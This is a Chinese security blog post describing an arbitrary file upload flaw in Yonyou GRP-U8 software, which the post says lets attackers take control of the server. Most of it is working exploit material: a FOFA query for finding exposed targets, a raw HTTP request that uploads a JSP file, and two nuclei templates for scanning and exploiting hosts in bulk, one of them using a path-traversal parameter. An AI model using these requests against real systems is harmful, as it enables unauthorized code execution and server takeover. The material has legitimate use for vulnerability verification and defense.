用友GRP-U8 UploadFileData任意文件上传漏洞

发布时间 2023-09-07 15:23:41作者: 学安全的小白

漏洞描述

用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限

影响范围

用友 GRP-U8

漏洞复现

fofa语法:app="用友-GRP-U8"
页面如下:

POC:

POST /servlet/FileUpload?fileName=bivlegk.jsp&actionID=update HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Length: 24
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------32840991842344344364451981273
Origin: null
Upgrade-Insecure-Requests: 1

<% out.println("123");%>


访问上传后的jsp文件
/R9iPortal/upload/bivlegk.jsp

nuclei批量yaml文件

yaml1:

id: yonyou_GRP-U8_UploadFileData_rce


info:
  name: yonyou_GRP-U8_UploadFileData_rce
  author: mczilong
  severity: critical
  tags: yonyou,oa,bjxsec
  description: fofa app="用友-GRP-U8"
  reference:
    - https://mp.weixin.qq.com
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
  file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
  - raw:
      - |
        POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename={{file_name}}&filename=1.jpg HTTP/1.1
        Host: {{Hostname}} 
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
        Content-Type: multipart/form-data
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

        ------WebKitFormBoundary92pUawKc
        Content-Disposition: form-data; name="myFile";filename="test.jpg"

        <% out.println("{{file_content}}");%>
        ------WebKitFormBoundary92pUawKc--
      - |
        GET /R9iPortal/{{file_name}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "{{file_content}}"

yaml2:

id: yonyou_GRP-U8_UploadfileName_rce

info:
  name: yonyou_GRP-U8_UploadfileName_rce
  author: mczilong
  severity: critical
  tags: yonyou,oa,bjxsec
  description: fofa app="用友-GRP-U8"
  reference:
    - https://mp.weixin.qq.com
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
  file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
  - raw:
      - |
        POST /servlet/FileUpload?fileName={{file_name}}&actionID=update HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: multipart/form-data; boundary=---------------------------32840991842344344364451981273
        Content-Length: 4
        Origin: null
        Connection: close
        Upgrade-Insecure-Requests: 1

        {{file_content}}
      - |
        GET /R9iPortal/upload/{{file_name}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "{{file_content}}"